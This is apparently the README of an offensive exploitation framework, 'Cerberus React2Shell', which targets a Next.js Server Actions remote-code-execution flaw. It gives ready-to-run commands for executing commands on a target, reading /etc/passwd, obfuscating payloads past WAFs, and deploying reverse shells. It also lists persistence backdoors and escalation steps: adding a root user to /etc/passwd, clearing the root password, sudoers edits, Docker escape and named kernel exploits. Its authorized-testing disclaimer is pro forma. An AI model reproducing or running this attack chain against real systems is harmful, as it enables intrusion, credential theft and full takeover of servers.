Cerberus React2Shell - Weaponized Exploitation Framework

  ██████╗ ███████╗██████╗ ██████╗ ███████╗██████╗ ██╗   ██╗
 ██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔════╝██╔══██╗██║   ██║
 ██║      █████╗  ██████╔╝██████╔╝█████╗  ██████╔╝██║   ██║
 ██║      ██╔══╝  ██╔══██╗██╔══██╗██╔══╝  ██╔══██╗██║   ██║
 ╚██████╗ ███████╗██║  ██║██████╔╝███████╗██║  ██║╚██████╔╝
  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═════╝ ╚══════╝╚═╝  ╚═╝ ╚═════╝
  
         React2Shell Exploitation Framework v1.0
              Author: Sudeepa Wanigarathna

🎯 Overview

Professional-grade exploitation framework for Next.js Server Actions RCE vulnerability (React2Shell). Demonstrates complete attack chain from initial access to root privilege escalation.

Capabilities:

• ✅ Automated vulnerability detection
• ✅ Remote Code Execution (RCE)
• ✅ Interactive shell access
• ✅ Linux system enumeration
• ✅ Automated privilege escalation
• ✅ Reverse shell deployment
• ✅ File upload/download
• ✅ Root access demonstration

🚀 Quick Start

Basic RCE

# Check vulnerability
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --check

# Execute command
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id"

Interactive Shell

python3 interactive_shell.py --target http://127.0.0.1:3000

Full Automated Attack Chain

# Complete exploitation: RCE → Enumeration → Root Access
python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root

📁 Framework Structure

Cerberus-React2Shell-Hades/
├── react2shell_exploit.py      # Core exploit engine (400+ lines)
├── demo_exploit.py              # Automated attack chain (290+ lines)
├── interactive_shell.py         # Interactive shell (280+ lines)
├── reverse_shell_handler.py     # Reverse shell listener (180+ lines)
├── post_exploit/
│   ├── linux_enum.py           # System enumeration (330+ lines)
│   ├── priv_esc.py             # Privilege escalation (320+ lines)
│   └── __init__.py
├── EXPLOITATION_GUIDE.md        # Complete usage documentation
├── QUICKSTART.md                # Quick reference
└── BANNER.txt

🔥 Features

Core Exploit Engine

• Action ID Discovery: Automatic extraction from JavaScript bundles
• Multiple Payloads: execSync, spawn, eval, mainModule variants
• Output Extraction: Parse command output from error responses
• WAF Bypass: Payload obfuscation techniques

Post-Exploitation

• Linux Enumeration: SUID/SGID binaries, writable paths, cron jobs, kernel version
• Privilege Escalation: GTFOBins, writable /etc files, Docker escape, capabilities
• File Operations: Upload/download with base64 encoding
• Persistence: Multiple backdoor methods

Interactive Tools

• Interactive Shell: Real-time command execution with built-in commands
• Reverse Shell: Multiple shell types (bash, python, nc, perl)
• Demo Mode: 6-step automated demonstration

📖 Usage Examples

1. Basic Commands

# Vulnerability check
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --check

# Execute commands
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "whoami"
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "cat /etc/passwd"

# Different payload variants
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id" --variant spawn

# With obfuscation
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id" --obfuscate

2. Interactive Shell

# Launch shell
python3 interactive_shell.py --target http://127.0.0.1:3000

# Available commands:
# - execute <cmd>        : Execute shell command
# - enum                 : Run full enumeration
# - escalate             : Attempt privilege escalation
# - upload <local> <remote>  : Upload file
# - download <remote> <local>: Download file
# - shell <lhost> <lport>: Deploy reverse shell
# - info                 : Show session info
# - exit                 : Quit

3. Reverse Shell

# Terminal 1: Start listener
python3 reverse_shell_handler.py --lport 4444

# Terminal 2: Deploy shell
python3 react2shell_exploit.py --target http://127.0.0.1:3000 \
  --revshell --lhost 127.0.0.1 --lport 4444 --shell-type bash

4. Automated Demo

# Full chain: Discovery → RCE → Enum → Root
python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root

🎯 Attack Chain

The framework implements a complete 6-step exploitation chain:

1. Discovery - Extract Server Action IDs from JavaScript bundles
2. Exploitation - Find working Action ID and achieve RCE
3. Verification - Confirm code execution with id command
4. Enumeration - Gather system information, SUID binaries, writable paths
5. Escalation - Automatically exploit privilege escalation vectors
6. Demonstration - Prove root access by reading /etc/shadow and listing /root

🛡️ Privilege Escalation Techniques

Implemented Methods

1. SUID Binaries (GTFOBins)

   • find, vim, python, perl, bash, awk, sed, less, more, nmap

2. Writable /etc Files

   • /etc/passwd - Add new root user
   • /etc/shadow - Clear root password
   • /etc/sudoers - Grant NOPASSWD sudo

3. Docker Escape

   • Accessible Docker socket exploitation
   • Privileged container breakout

4. Kernel Exploits

   • DirtyCow (CVE-2016-5195)
   • Dirty Pipe (CVE-2022-0847)
   • PwnKit (CVE-2021-4034)

5. Linux Capabilities

   • CAP_SETUID, CAP_DAC_OVERRIDE exploitation

📊 Statistics

• Total Lines of Code: 1,800+
• Modules: 8
• Privilege Escalation Techniques: 5
• Payload Variants: 4
• Shell Types: 4 (bash, python, nc, perl)

⚙️ Requirements

pip install -r requirements.txt

Dependencies:

• requests
• colorama

📚 Documentation

• EXPLOITATION_GUIDE.md - Complete usage guide with examples
• QUICKSTART.md - Quick reference for common commands

⚠️ Disclaimer

WARNING: This tool is for authorized security testing only. Unauthorized access to computer systems is illegal. Use only on systems you own or have explicit written permission to test.

The author is not responsible for any misuse of this tool. Use at your own risk.

🎓 Educational Purpose

This framework is designed for:

• Security researchers studying Next.js vulnerabilities
• Penetration testers with authorization
• Security training and CTF challenges
• Vulnerability research in controlled lab environments

📄 License

MIT License (Educational Purposes Only)

👤 Author

Sudeepa Wanigarathna

• Expert in Exploit Development
• Security Researcher
• Penetration Tester

Version: 1.0
Last Updated: December 2025
Lab Status: http://127.0.0.1:3000 (Running)

For detailed usage instructions, see EXPLOITATION_GUIDE.md